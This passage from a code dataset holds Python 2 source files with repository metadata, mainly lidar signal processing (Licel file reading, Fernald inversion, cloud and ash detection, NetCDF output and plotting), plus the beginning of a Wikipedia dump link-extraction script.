datetime, timedelta, time\nimport numpy as np\nimport os\nfrom os.path import isfile, join\n\n################# Parameters ###############################################\ndt = timedelta(minutes=1) # Delta time (1 min). NO CHANGE\n#FileSize = 82492 # Filesize in bytes\nfmt = \"%y%m%d%H.%M%S\" # Format file\nchannel_list = [\"532oo\",\"532po\",\"1064oo\"]\nDebug = True\n############################################################################\n\ndef read_firstline(fname):\n with open(fname,'r') as f:\n output = f.readline()\n return output.strip()\n\ndef valid_files(prefix,tdate,bpath,FileSize):\n folder = bpath + tdate.strftime(\"%Y%m%d/\")\n bname = prefix + tdate.strftime(\"%y\") + format(tdate.month,'X') + tdate.strftime(\"%d\")\n \n verify_name = lambda x: bname in x and len(x)==15\n verify_size = lambda x: os.stat(folder + x).st_size == FileSize\n verify_head = lambda x: read_firstline(folder + x) == x\n verify_file = lambda x: verify_name(x) and verify_size(x) and verify_head(x)\n \n filelist_folder = [f for f in os.listdir(folder) if isfile(join(folder, f))]\n filelist_folder = filter(verify_file, filelist_folder)\n filelist_folder.sort()\n return filelist_folder\n\ndef parse_datetime(st):\n date_st = st[1:3] + \"{:02d}\".format(int(st[3],16)) + st[4:13]\n return datetime.strptime(date_st, fmt)\n\ndef findtimes(t1,t2,sampling,bpath,prefix,ncfile,FileSize):\n print \"File checking assuming size: {} B\".format(FileSize)\n if isfile(ncfile):\n if Debug: print \"Found file: \", ncfile\n ncfile = Dataset(ncfile,'r',format=\"NETCDF3_CLASSIC\") \n t = ncfile.variables[\"time\"]\n t1_raw = num2date(t[-1], units = t.units)\n ncfile.close()\n else:\n if Debug: print \"Not found file: \", ncfile\n td = t1.date()\n SearchFile = True\n while td<=t2.date() and SearchFile:\n folder = td.strftime(\"%Y%m%d/\")\n if os.path.exists(bpath + folder): \n filelist_folder = valid_files(prefix,td,bpath,FileSize)\n if filelist_folder:\n if t1<=parse_datetime(filelist_folder[0]):\n SearchFile = False\n t1_raw = parse_datetime(filelist_folder[0])\n elif t1<=parse_datetime(filelist_folder[-1]):\n SearchFile = False\n t1_raw = next(parse_datetime(x) for x in filelist_folder if parse_datetime(x)>=t1) \n td += timedelta(days=1)\n if SearchFile: t1_raw = t2\n \n td = t2.date()\n SearchFile = True\n while td>=t1_raw.date() and SearchFile:\n folder = td.strftime(\"%Y%m%d/\")\n if os.path.exists(bpath + folder): \n filelist_folder = valid_files(prefix,td,bpath,FileSize)\n if filelist_folder:\n if t2>parse_datetime(filelist_folder[-1]):\n SearchFile = False\n t2_raw = parse_datetime(filelist_folder[-1])\n elif t2>parse_datetime(filelist_folder[0]):\n SearchFile = False\n t2_raw = next(parse_datetime(x) for x in reversed(filelist_folder) if parse_datetime(x)<t2) \n td -= timedelta(days=1)\n if SearchFile: t2_raw = t1_raw\n\n dt_shift1 = timedelta( minutes = int((t1_raw-t1).total_seconds()//60.0)%sampling, \n seconds = t1_raw.second\n )\n dt_shift2 = timedelta( minutes = int((t2_raw-t1).total_seconds()//60.0)%sampling, \n seconds = t2_raw.second\n ) \n return t1_raw-dt_shift1, t2_raw-dt_shift2\n \ndef get_data(t1,t2,sampling,path,prefix,FileSize):\n x_time=[]\n t=t1\n while t<=t2:\n x_time.append(t)\n t=t+sampling*dt\n NT=len(x_time)\n x_time = np.array(x_time)\n n_data = np.zeros(NT)\n FileFound = False\n td = t1.date()\n while td<=t2.date():\n folder = td.strftime(\"%Y%m%d/\")\n if os.path.exists(path + folder):\n filelist_folder = valid_files(prefix,td,path,FileSize)\n if filelist_folder:\n if Debug: print \"Reading folder: \", folder\n for file_item in filelist_folder:\n file_date = parse_datetime(file_item)\n i_time = int((file_date-t1).total_seconds()//(60.0*sampling))\n if 0<=i_time<NT:\n n_data[i_time] = n_data[i_time] + 1\n # Get Licel data\n x = LoadLicel(path + folder + file_item, channel_list)\n if not FileFound:\n FileFound = True\n height = x.GlobalP.HeightASL\n z = x.channel[\"532oo\"].Range * 0.001 # Height in kilometers\n NZ = len(z)\n y1 = np.zeros((NT,NZ))\n y2 = np.zeros((NT,NZ))\n y3 = np.zeros((NT,NZ))\n y1[i_time,:] += x.channel[\"532oo\"].Signal\n y2[i_time,:] += x.channel[\"532po\"].Signal\n y3[i_time,:] += x.channel[\"1064oo\"].Signal\n td += timedelta(days=1)\n for it in range(NT):\n if n_data[it]==0:\n y1[it,:] = np.nan\n y2[it,:] = np.nan\n y3[it,:] = np.nan \n else:\n #print x_time[it], n_data[it], np.max(y1[it,:])\n y1[it,:] = y1[it,:] / n_data[it]\n y2[it,:] = y2[it,:] / n_data[it]\n y3[it,:] = y3[it,:] / n_data[it]\n return x_time, y1, y2, y3, z, height\n \ndef createncd(x, data1, data2, data3, z, height, ncfilename):\n NT = len(x)\n NZ = len(z)\n print \"**********************\"\n print \"Creating file: {}\".format(ncfilename)\n #Dimensions\n ncfile = Dataset(ncfilename,'w',format=\"NETCDF3_CLASSIC\") \n ncfile.createDimension(\"time\", None)\n ncfile.createDimension(\"alt\", NZ)\n\n #Coordinate variables\n time = ncfile.createVariable(\"time\",\"f4\",(\"time\",))\n altitude = ncfile.createVariable(\"alt\",\"f4\",(\"alt\",))\n\n #Coordinate variable attributes\n altitude.units = \"km\"\n altitude.description = \"altitude\"\n altitude[:] = z\n\n day_0 = datetime(x[0].year,x[0].month,x[0].day)\n time.units = day_0.strftime(\"minutes since %Y-%m-%d 00:00:00\")\n time.description = \"time after 0000UTC\"\n time[:] = [item.total_seconds()/60.0 for item in x-day_0]\n\n #Variables\n ch1 = ncfile.createVariable(\"ch1\",\"f4\",(\"time\",\"alt\",))\n ch1.units = \"mV\"\n ch1.description = \"532-nm channel - component: o\"\n ch1[:,:] = data1\n\n ch2 = ncfile.createVariable(\"ch2\",\"f4\",(\"time\",\"alt\",))\n ch2.units = \"mV\"\n ch2.description = \"532-nm channel - component: p\"\n ch2[:,:] = data2\n\n ch3 = ncfile.createVariable(\"ch3\",\"f4\",(\"time\",\"alt\",))\n ch3.units = \"mV\"\n ch3.description = \"1064-nm channel\"\n ch3[:,:] = data3\n\n#Global Attributes\n ncfile.TITLE = \"LIDAR data from Licel\"\n ncfile.YEAR = day_0.year\n ncfile.MONTH = day_0.month\n ncfile.DAY = day_0.day\n ncfile.HEIGHT = height\n\n ncfile.close()\n print \"Done!\"\n print \"**********************\"\n \ndef updatencd(x, data1, data2, data3, z, ncfilename):\n NT = len(x)\n NZ = len(z)\n print \"**********************\"\n print \"Updating file: {}\".format(ncfilename)\n ncfile = Dataset(ncfilename,'a',format=\"NETCDF3_CLASSIC\") \n #Dimensions\n NT_file = len(ncfile.dimensions[\"time\"])\n NZ_file = len(ncfile.dimensions[\"alt\"])\n #Variables\n t = ncfile.variables[\"time\"]\n t_end = num2date(t[-1], units = t.units)\n ch1 = ncfile.variables[\"ch1\"]\n ch2 = ncfile.variables[\"ch2\"]\n ch3 = ncfile.variables[\"ch3\"]\n \n #Check file consistence \n if NZ==NZ_file and x[0]==t_end:\n for it in range(NT):\n t[NT_file+it-1] = date2num(x[it], units = t.units)\n ch1[NT_file+it-1,:] = data1[it,:]\n ch2[NT_file+it-1,:] = data2[it,:]\n ch3[NT_file+it-1,:] = data3[it,:]\n else:\n print \"Error: File is not consistent with input data\"\n\n ncfile.close()\n print \"Done!\"\n print \"**********************\"\n\nif __name__ == \"__main__\":\n FileSize = 66042\n sampling = 15\n prefix = \"a\"\n path = \"/home/leonardo/Desktop/aeroparque/\"\n ncfile = \"void\"\n t1 = datetime(2019,3,20,11,0)\n t2 = datetime(2019,3,24,23,46)\n t1_out, t2_out = findtimes(t1,t2,sampling,path,prefix,ncfile,FileSize)\n print t1_out, t2_out\n #lista = valid_files('a',datetime(2018,3,26),path,66042)\n #print len(lista)" }, { "alpha_fraction": 0.5702685713768005, "alphanum_fraction": 0.6037892699241638, "avg_line_length": 39.025001525878906, "blob_id": "e3d477aa7111ef45d10d690493c81e69f945fa7a", "content_id": "95a4ca07e9d59d55f2d24b0130afb01b68fb8c38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14409, "license_type": "no_license", "max_line_length": 133, "num_lines": 360, "path": "/Inversion/Invert532.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2\n\nimport Calibration\nimport CloudDetect\nimport Physics\nimport Plots\nimport InOut\nimport Classify\nimport numpy as np\nfrom netCDF4 import Dataset, num2date\nfrom datetime import datetime, timedelta\nfrom ConfigParser import SafeConfigParser\nimport warnings\nimport os.path\n\n################# Parameters ###############################################\nDebug = True\n############################################################################\n\ndef invert(station_block, cfgfile):\n config = SafeConfigParser()\n config.read(cfgfile)\n\n #Read parameters from an external file (integer case)\n block = station_block\n wz = config.getint(block, \"wz\")\n wsmooth = config.getint(block, \"wsmooth\")\n\n #Read parameters from an external file (float case)\n s1 = config.getfloat(block, \"s1\")\n depol = config.getfloat(block, \"depol\")\n leakrate = config.getfloat(block, \"leakrate\")\n mdr = config.getfloat(block, \"mdr\")\n dep_s = config.getfloat(block, \"dep_s\")\n dep_d = config.getfloat(block, \"dep_d\")\n maxint = config.getfloat(block, \"maxint\")\n clgrad = config.getfloat(block, \"clgrad\")\n clth = config.getfloat(block, \"clth\")\n rth1 = config.getfloat(block, \"rth1\")\n rth4 = config.getfloat(block, \"rth4\")\n rth6 = config.getfloat(block, \"rth6\")\n pblth = config.getfloat(block, \"pblth\")\n snrth = config.getfloat(block, \"snrth\")\n\n #Read parameters from an external file (string case)\n station = config.get(block, \"prefix\")\n ncpath_raw = config.get(\"Paths\", \"ncpath_raw\")\n ncpath_out = config.get(\"Paths\", \"ncpath_out\")\n ncfile_raw = config.get(\"Paths\", \"ncfile_raw\")\n ncfile_out = config.get(\"Paths\", \"ncfile_out\")\n yrfile_vis = config.get(\"Paths\", \"yrfile_vis\")\n yrfile_ir = config.get(\"Paths\", \"yrfile_ir\")\n power_file = config.get(\"Paths\", \"power_file\")\n\n ncpath_out = ncpath_out + block + '/'\n\n #Read parameters from an external file (boolean case)\n PlotRaw = config.getboolean(\"Output\", \"PlotRaw\")\n PlotCal = config.getboolean(\"Output\", \"PlotCal\")\n PlotBeta = config.getboolean(\"Output\", \"PlotBeta\")\n PlotDep = config.getboolean(\"Output\", \"PlotDep\")\n PlotAlpha = config.getboolean(\"Output\", \"PlotAlpha\")\n AshOut = config.getboolean(\"Output\", \"AshOut\")\n NCDout = config.getboolean(\"Output\", \"NCDout\")\n NCDmonth = config.getboolean(\"Output\", \"NCDmonth\")\n\n if os.path.isfile(ncpath_raw+station+ncfile_raw):\n print \"Opening file: \", ncpath_raw+station+ncfile_raw\n ### Read Time, Data (mV), Heigth (km)\n ds = Dataset(ncpath_raw+station+ncfile_raw)\n ch1 = ds.variables[\"ch1\"][:]\n ch2 = ds.variables[\"ch2\"][:]\n ch3 = ds.variables[\"ch3\"][:]\n z = ds.variables[\"alt\"][:]\n times = ds.variables[\"time\"]\n day_0 = datetime(year=ds.YEAR, month=ds.MONTH, day=ds.DAY)\n height = ds.HEIGHT\n x = num2date(times[:],units=times.units)\n ds.close()\n else:\n print \"Unable to open file: \", ncpath_raw+station+ncfile_raw\n exit()\n \n ch1 = ch1.T\n ch2 = ch2.T\n ch3 = ch3.T\n\n ### Number of profiles and vertical levels\n NX = len(x)\n NZ = len(z)\n\n ### Background removed and range-corrected signal intensity\n for it in range(NX):\n coeff = np.polyfit(z[-1000:], ch1[-1000:,it], 1)\n pol = np.poly1d(coeff)\n ch1[:,it] = (ch1[:,it] - pol(z))*z**2\n ###\n coeff = np.polyfit(z[-1000:], ch2[-1000:,it], 1)\n pol = np.poly1d(coeff)\n ch2[:,it] = (ch2[:,it] - pol(z))*z**2\n ###\n coeff = np.polyfit(z[-2000:], ch3[-2000:,it], 1)\n pol = np.poly1d(coeff)\n ch3[:,it] = (ch3[:,it] - pol(z))*z**2\n \n ### Smoothing for IR channel\n if wsmooth>1:\n for it in range(NX):\n ch3[:,it] = np.convolve(ch3[:,it],np.ones(wsmooth)/wsmooth,mode='same')\n\n if Debug:\n print \"Max Value for channel 1: {} mV km2\".format(np.nanmax(ch1))\n print \"Max Value for channel 2: {} mV km2\".format(np.nanmax(ch2))\n print \"Max Value for channel 3: {} mV km2\".format(np.nanmax(ch3))\n\n ### Power Correction\n if Debug: print \"Performing power corrections...\"\n c1, c2, c3 = Calibration.power(x,ncpath_out+power_file)\n for ix in range(NX):\n ch1[:,ix] = ch1[:,ix] * c1[ix]\n ch2[:,ix] = ch2[:,ix] * c2[ix]\n ch3[:,ix] = ch3[:,ix] * c3[ix]\n \n ### Polarization correction (Experimental!)\n #depol_estimated = Calibration.depol(ch1, ch2, z)\n #if depol_estimated>1.0:\n # if Debug: print \"Using depol={} instead of depol={}\".format(depol_estimated, depol)\n # depol = depol_estimated\n \n para = ch1 # Parallel component - Visible channel\n perp = (ch2 - ch1 * leakrate) / depol # Perpendicular component - Visible channel\n intvis = para + perp # Visible channel (total)\n intir = ch3 # Infrared channel\n with np.errstate(divide='ignore', invalid='ignore'):\n dep = np.where(para == 0, np.nan, perp / para) # Volume linear depolarization ratio\n\n if PlotRaw:\n print \"Plotting raw data...\"\n Plots.show_raw(x,intvis,z, ncpath_out+\"raw_vis.png\", zmax=16)\n Plots.show_raw(x,intir, z, ncpath_out+\"raw_ir.png\", zmax=16)\n\n ### Overlap Correction\n if Debug: print \"Performing overlap corrections...\"\n yrvis = Calibration.overlap(ncpath_out + yrfile_vis,z)\n yrir = Calibration.overlap(ncpath_out + yrfile_ir,z)\n for ix in range(NX):\n intvis[:,ix] = intvis[:,ix] * yrvis\n intir[:,ix] = intir[:,ix] * yrir\n\n ### Calibration\n factor = Calibration.vis_factor(intvis,z)\n intvis = intvis * factor # Attenuated Backscatter Coefficient at 532 nm\n color_r = Calibration.color_ratio(intvis, intir, z, maxint)\n intir = intir / color_r # Attenuated Backscatter Coefficient at 1064 nm\n if Debug: \n print \"Calibration factor - Visible channel: {}\".format(factor)\n print \"Calibration factor - IR channel: {}\".format(1.0/color_r)\n print \"Vis. channel: min={}, max={}\".format(np.nanmin(intvis), np.nanmax(intvis))\n print \"IR channel: min={}, max={}\".format(np.nanmin(intir), np.nanmax(intir))\n \n ### REBIN function: resizes a vector\n if NZ%wz==0:\n NZ = NZ/wz\n lvis = np.full((NZ,NX),np.nan)\n lir = np.full((NZ,NX),np.nan)\n ldep = np.full((NZ,NX),np.nan)\n# lz = np.mean(z.reshape(-1, wz), axis=1)\n lz = np.copy(z[wz-1::wz])\n DZ = lz[1]-lz[0]\n DZinv = 1.0/DZ\n with warnings.catch_warnings():\n # I expect to see RuntimeWarnings in this block\n warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n for it in range(NX):\n if not np.all(np.isnan(intvis[:,it])) and not np.all(np.isnan(intir[:,it])):\n lvis[:,it] = np.nanmean(intvis[:,it].reshape(-1, wz), axis=1)\n lir[:,it] = np.nanmean(intir[:,it].reshape(-1, wz), axis=1)\n ldep[:,it] = np.nanmean(dep[:,it].reshape(-1, wz), axis=1)\n if Debug: print \"REBIN successful. Vertical resolution: {} m\".format(1000*DZ)\n else:\n raise SystemExit(\"STOP: Rebin not performed: verify your configuration\")\n \n ### Molecular profiles\n alpha_m, beta_m = Physics.rayleigh(1000.0*lz, 532.0, height)\n\n ### Cloud Detection\n zb, zt = CloudDetect.cloud_height(lvis,lir,lz,clgrad,clth) # Detect Cloud Base above 240 m\n rf, pbl, invtop = CloudDetect.phenomena(lvis,lir,ldep,lz,zb,rth1,rth4,pblth,snrth)\n\n if PlotCal:\n print \"Plotting calibrated signal...\"\n Plots.show_cal(x,intvis,z,zb,zt,ncpath_out+\"cal_vis.png\")\n Plots.show_cal(x,intir,z,zb,zt,ncpath_out+\"cal_ir.png\")\n #Plots.show_cal(x,intvis,z,pbl,invtop,ncpath_out+\"cloud_vis.png\")\n #Plots.show_cloud(x,intvis,z,pbl,5*rf,ncpath_out+\"cloud_vis.png\")\n \n ### Inversion\n ### Vertical indexes\n iz_100 = int(round(0.10 * DZinv))-1\n iz_120 = int(round(0.12 * DZinv))-1\n iz_150 = int(round(0.15 * DZinv))-1\n iz_450 = int(round(0.45 * DZinv))-1\n iz_600 = int(round(0.60 * DZinv))-1\n iz_9km = int(round(9.00 * DZinv))-1\n iz_18km = int(round(18. * DZinv))-1\n\n ### Optical properties for aerosols\n ext_vis = np.full((NZ,NX), np.nan) # Extinction coefficient - Visible\n adr = np.full((NZ,NX), np.nan) # Particulate depolarization ratio\n\n ### Use the Fernald's algorithm - High clouds caseext\n for ix in range(NX):\n if rf[ix]>0 or invtop[ix] < 0.21: continue\n# profile_ir = lir [:,ix]\n profile_vis = 1.0*lvis[:,ix]\n if np.all(np.isnan(profile_vis)): continue\n ### In order to increase the signal-to-noise ratio at inversion height.\n ### This is the boundary condition for the inversion method and \n ### the whole profiles depend on this boundary condition\n iz_inv = int(round(invtop[ix] * DZinv))-1\n profile_vis[iz_inv-1] = np.nanmean(profile_vis[iz_inv-2:iz_inv+1])\n ### We assume that the molecular contribution \n ### is dominant at the inversion height\n if zb[ix]<3.0: continue\n else: bsc_ini = beta_m[iz_inv-1] * 1E-4 #Here I made a little modification to the Shimitzu code\n alpha, beta = Physics.fernald(profile_vis, lz, alpha_m, beta_m, s1, invtop[ix], bsc_ini)\n extmin = min(alpha[iz_150:1+max(iz_inv-iz_150, iz_150+1)])\n ###\n for itc in range(1,16):\n if extmin > -1E-5: break\n alpha, beta = Physics.fernald(profile_vis, lz, alpha_m, beta_m, s1, invtop[ix], bsc_ini*2**itc)\n extmin = min(alpha[iz_150:1+max(iz_inv-iz_150, iz_150+1)])\n ###\n sr1 = (beta + beta_m) / beta_m # Backscatter ratio\n adr1 = (ldep[:,ix] * (sr1 + sr1*mdr - mdr) - mdr) / (sr1 - 1 + sr1*mdr - ldep[:,ix]) # Aerosols depolarization ratio\n ext_vis[iz_100:iz_inv,ix] = alpha[iz_100:iz_inv]\n adr[iz_100:iz_inv,ix] = adr1[iz_100:iz_inv]\n ### Is this necessary?\n if zb[ix] < 9: \n iz_zb = int(round(zb[ix] * DZinv))-1\n zmax = min(zt[ix],9)\n iz_zt = int(round(zmax * DZinv))-1\n ext_vis[iz_zb:iz_zt,ix] = np.nan\n \n ### Verify variability?\n for ix in range(NX):\n profile = ext_vis[iz_120:iz_450,ix]\n if np.all(np.isnan(profile)): \n continue\n else:\n extstd = np.nanstd(profile)\n if extstd>rth6:\n rf[ix]=6\n ext_vis[:,ix] = np.nan\n\n time_series = lvis[iz_600,:] / (ext_vis[iz_600,:]/s1 + beta_m[iz_600])\n with np.errstate(invalid='ignore'): mask = ext_vis[iz_600,:]>=0\n if mask.sum()>0:\n ext_int_r = np.median( time_series[mask] )\n else: \n ext_int_r = 1e11\n \n if Debug: print \"Calibration constant: {}\".format(ext_int_r)\n\n ### Use the Fernald's algorithm - Low clouds case\n for ix in range(NX):\n if np.isnan(zb[ix]) or zb[ix]>=3 or invtop[ix] < 0.21: continue\n profile_vis = 1.0*lvis[:,ix]\n if np.all(np.isnan(profile_vis)): continue\n iz_inv = int(round(invtop[ix] * DZinv))-1\n profile_vis[iz_inv-1] = np.nanmean(profile_vis[iz_inv-2:iz_inv+1])\n ### This boundary condition assumes a transmitance = 1 below of 1km\n ### Above 1km, we follow the same criterion as Shimitzu\n ### This is a very poor estimate\n if invtop[ix]<1.0: \n bsc_ini = profile_vis[iz_inv] / ext_int_r - beta_m[iz_inv]\n else: \n bsc_ini = profile_vis[iz_inv] / ext_int_r * 0.8 * np.exp(invtop[ix]/4.5) - beta_m[iz_inv]\n if bsc_ini<0:\n if Debug: print \"Changing boundary condition bsc_ini = {}\".format(bsc_ini)\n bsc_ini = beta_m[iz_inv-1] * 1E-4\n alpha, beta = Physics.fernald(profile_vis, lz, alpha_m, beta_m, s1, invtop[ix], bsc_ini)\n ###\n sr1 = (beta + beta_m) / beta_m\n adr1 = (ldep[:,ix] * (sr1 + sr1*mdr - mdr) - mdr) / (sr1 - 1 + sr1*mdr - ldep[:,ix])\n ###\n ext_vis[iz_100:iz_inv,ix] = alpha[iz_100:iz_inv]\n adr[iz_100:iz_inv,ix] = adr1[iz_100:iz_inv]\n ###\n iz_zb = int(round(zb[ix] * DZinv))-1\n zmax = min(zt[ix],9)\n iz_zt = int(round(zmax * DZinv))-1\n ext_vis[iz_zb:iz_zt,ix] = np.nan\n\n absc532 = lvis / ext_int_r\n absc1064 = lir / ext_int_r\n ###\n dr = (adr - dep_s) * (1 + dep_d) / (1 + adr) / (dep_d - dep_s)\n with np.errstate(invalid='ignore'): \n dr[dr<0]=0.0\n dr[dr>1]=1.0\n dust = ext_vis * dr\n sphere = ext_vis * (1.0-dr)\n bsc = ext_vis / s1\n\n if Debug: print \"Max. Att. Backscatter: {}\".format(np.nanmax(absc532))\n\n if PlotBeta:\n print \"Plotting attenuated backscatter coefficients...\"\n Plots.show_beta(x,1000.0*absc532,lz,\n fname=ncpath_out+'absc_vis.png',\n label=\"Attenuated Backscatter coefficient at 532 nm\",\n maxalt=12,\n maxdays=30,\n )\n Plots.show_beta(x,1000.0*absc1064,lz,\n fname=ncpath_out+'absc_ir.png',\n label=\"Attenuated Backscatter coefficient at 1064 nm\",\n maxalt=12,\n maxdays=30,\n )\n\n if PlotAlpha:\n print \"Plotting extinction coefficients...\"\n Plots.show_alpha(x,1000.0*dust,lz,zb,zt,invtop,ncpath_out+'dust.png', maxalt=9, maxdays=7)\n Plots.show_alpha(x,1000.0*sphere,lz,zb,zt,invtop,ncpath_out+'sphere.png', maxalt=9, maxdays=7)\n\n if PlotDep:\n print \"Plotting depolarization ratio...\"\n with np.errstate(invalid='ignore'):\n ldep[absc532<1E-7]=np.nan\n Plots.show_dep(x,ldep,lz,ncpath_out+'dep.png',maxalt=18)\n \n if AshOut:\n print \"Ash detection...\"\n if os.path.isfile(ncpath_raw+\"disc.pickle\"):\n NZ1 = iz_18km+1\n absc532_sub = 1000.0*(absc532[:NZ1,:]).T\n absc1064_sub = 1000.0*(absc1064[:NZ1,:]).T\n lz_sub = lz[:NZ1]\n mask_tomoaki = Classify.classify_tomoaki(absc1064_sub, lz_sub, NX, NZ1, height)\n ash_mask, ash_conc = Classify.get_ash_concentration(NX, NZ1, absc1064_sub, absc532_sub, mask_tomoaki, ncpath_raw+\"disc.pickle\")\n print \"Plotting ash concentration...\"\n Plots.show_ash(x,ash_conc,lz_sub,ncpath_out+'ash.png')\n print \"Plotting classes...\"\n Plots.show_mask(x,mask_tomoaki,lz_sub,ncpath_out+'classes.png')\n else:\n print \"Unable to open file: \", ncpath_raw+\"disc.pickle\"\n\n if NCDout:\n print \"Creating NetCDF file: {}\".format(ncpath_out+ncfile_out)\n NZ1 = iz_18km+1\n NZ2 = iz_9km+1\n InOut.save_ncd(ncpath_out+ncfile_out, station, x, lz, absc532, absc1064, ldep, dust, sphere, zb, zt, pbl, invtop, NZ1, NZ2)\n \n if NCDmonth:\n print \"Creating monthly NetCDF files\"\n NZ1 = iz_18km+1\n NZ2 = iz_9km+1\n InOut.monthly_ncd(ncpath_out, station, x, lz, absc532, absc1064, ldep, dust, sphere, zb, zt, invtop, NZ1, NZ2)\n" }, { "alpha_fraction": 0.5652173757553101, "alphanum_fraction": 0.5887899398803711, "avg_line_length": 28.369230270385742, "blob_id": "ee094a7d3cfb1b894d11354a1ad9af908ac4fea6", "content_id": "776943060b6d0744ded5fc9efd50e529e94f5f5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3818, "license_type": "no_license", "max_line_length": 98, "num_lines": 130, "path": "/Utilities/Power/Plots.py", "repo_name": "lmingari/lidar_SMN", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nimport matplotlib\nmatplotlib.use('GTKAgg') \n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.axisartist as axisartist\nfrom matplotlib.dates import DayLocator, HourLocator, DateFormatter\nimport matplotlib.colors as mc\nfrom netCDF4 import num2date, date2num\nimport warnings\n\n################# Parameters ###############################################\nNMAX = 1E6\nratio = 1E-3 # Aspect ratio km/min\nDebug = True\n############################################################################\n\n### Color map creation\ncolors1 = plt.cm.jet(np.linspace(0, 1, 256))\nstartcolor = np.array([1,1,1,1])\nendcolor = colors1[0]\ncmap = mc.LinearSegmentedColormap.from_list('own',[startcolor,endcolor])\ncolors2 = cmap(np.linspace(0, 1, 72))\ncolors = np.vstack((colors2, colors1))\nmy_cmap = mc.LinearSegmentedColormap.from_list('colormap', colors)\n\ndef resampling(x, data, z, zmax):\n NX = len(x)\n NZ = len(z)\n \n day_0 = x[0]\n units = day_0.strftime(\"minutes since %Y-%m-%d 00:00:00\")\n xm = date2num(x,units=units)\n \n DX = xm[1]-xm[0]\n DZ = z[1]-z[0]\n DZinv = 1.0/DZ\n if zmax>0:\n NZ0 = int(round(zmax * DZinv))\n if NZ0<NZ: NZ=NZ0\n \n N = NX*NZ\n if Debug: print \"Original data: {} points\".format(N)\n wz = 1\n wx = 1\n while N>NMAX:\n if DX*DZinv*ratio>1: \n wz = 2*wz\n DZinv = 0.5 * DZinv\n else: \n wx = 2*wx\n DX = 2*DX\n N = 0.5*N\n\n NZ = NZ - NZ%wz\n NX = NX - NX%wx\n data = data[:NZ,:NX]\n z = z[:NZ]\n xm = xm[:NX]\n \n if wz>1:\n if Debug: print \"Using vertical rebin with wz={}\".format(wz)\n NZ = NZ/wz\n data_wz = np.full((NZ,NX),np.nan)\n z_wz = np.mean(z.reshape(-1, wz), axis=1)\n for it in range(NX):\n if not np.all(np.isnan(data[:,it])):\n data_wz[:,it] = np.nanmean(data[:,it].reshape(-1, wz), axis=1)\n else:\n data_wz = data\n z_wz = z\n\n if wx>1:\n if Debug: print \"Using horizontal rebin with wx={}\".format(wx)\n NX = NX/wx\n data_wzwx = np.full((NZ,NX),np.nan)\n xm_wx = np.mean(xm.reshape(-1, wx), axis=1)\n x_wx = num2date(xm_wx,units=units)\n with warnings.catch_warnings():\n # I expect to see RuntimeWarnings in this block\n warnings.simplefilter(\"ignore\", category=RuntimeWarning)\n for iz in range(NZ):\n data_wzwx[iz,:] = np.nanmean(data_wz[iz,:].reshape(-1, wx), axis=1)\n else:\n data_wzwx = data_wz\n x_wx = x\n return x_wx, data_wzwx, z_wz\n\ndef get_figure(automatic):\n fig = plt.figure(figsize=(15,6))\n ax = fig.add_subplot(axisartist.Subplot(fig, \"111\"))\n \n if not automatic:\n ax.xaxis.set_major_locator( DayLocator() )\n ax.xaxis.set_minor_locator( HourLocator([12]) )\n ax.xaxis.set_major_formatter( DateFormatter('%a %d - %H:%M') )\n ax.autoscale_view()\n ax.axis[\"bottom\"].minor_ticklabels.set_rotation(40)\n ax.axis[\"bottom\"].major_ticklabels.set_rotation(40)\n ax.axis[\"bottom\"].minor_ticklabels.set_ha('right')\n ax.axis[\"bottom\"].major_ticklabels.set_ha('right')\n ax.axis[\"bottom\"].label.set_pad(80)\n ax.axis[\"bottom\"].toggle(ticklabels=True)\n \n ax.axis[:].major_ticks.set_tick_out(True)\n \n ax.fmt_xdata = DateFormatter('%Y-%m-%d %H:%M')\n fig.autofmt_xdate()\n return fig, ax\n \ndef show_raw(x,data,z,zmax=0.0,vmax=20):\n x_low, data_low, z_low = resampling(x,data,z,zmax)\n fig, ax = get_figure(True)\n\n masked = np.ma.array (data_low, mask=np.isnan(data_low))\n \n CS = ax.pcolormesh(x_low,z_low,masked, cmap=my_cmap, vmin=0, vmax=vmax)\n cbar = plt.colorbar(CS)\n cbar.set_label(r\"Signal strength [$mv \\times km^2$]\", labelpad=-63)\n\n plt.xlabel('')\n plt.ylabel('Height AGL [km]')\n plt.show()\n \ndef xy(x, y):\n fig, ax = get_figure(True)\n ax.plot(x,y,'r-o')\n plt.ylabel(r\"Signal $[mV \\, km^{2}]$\")\n plt.show()\n" } ]
24
halfak/Article-importance-in-Wikipedia
https://github.com/halfak/Article-importance-in-Wikipedia
80df0a90aea8250abac7a8479c343922a6589c3d
43dbb04e320fe2aed2bd72aa08ad6b7085ba84e9
8781bc49c816c2519d4e9335fc1edd8a32b88f20
refs/heads/master
2021-01-02T23:12:27.269550
2015-02-13T23:16:04
2015-02-13T23:16:04
25,586,115
2
4
null
null
null
null
null
[ { "alpha_fraction": 0.5343220233917236, "alphanum_fraction": 0.5368643999099731, "avg_line_length": 26.764705657958984, "blob_id": "ef9be8825eb9e34f7b6111b18aad20084c4ef7df", "content_id": "c9429bae4e643483aa76a00fee82e11743cb76fa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2360, "license_type": "permissive", "max_line_length": 74, "num_lines": 85, "path": "/importance/extract_organic_links.py", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "\"\"\"\nExtracts PubMed IDs from articles\n\nUsage:\n extract_pmids -h | --help\n extract_pmids --api=<url> --threads=<count> <dump_path>...\n \nOptions:\n -h --help Shows this documentation\n --api=<path> The URL of the mediawiki API to get info from\n --threads=<count> The number of threads to start\n\"\"\"\n\nimport re\nimport sys\nimport traceback\nfrom multiprocessing import cpu_count\n\nimport docopt\nfrom mw import api, xml_dump\nfrom mw.lib import title\n\n\n#from mwparserfromhell import parse\n\n\ndef encode(val):\n \n if val is None:\n val = \"NULL\"\n if not isinstance(val, str):\n val = str(val)\n \n return val.replace(\"\\t\", \"\\\\t\").replace(\"\\n\", \"\\\\n\")\n\n#def extract_wikilinks(text):\n# return (link.title for link in parse(text).ifilter_wikilinks())\n\nLINK_RE = re.compile(r\"\\[\\[([^\\]\\|]+)(\\|[[^\\]\\|]*)?\")\n\ndef extract_wikilinks(text):\n return (m.group(1) for m in 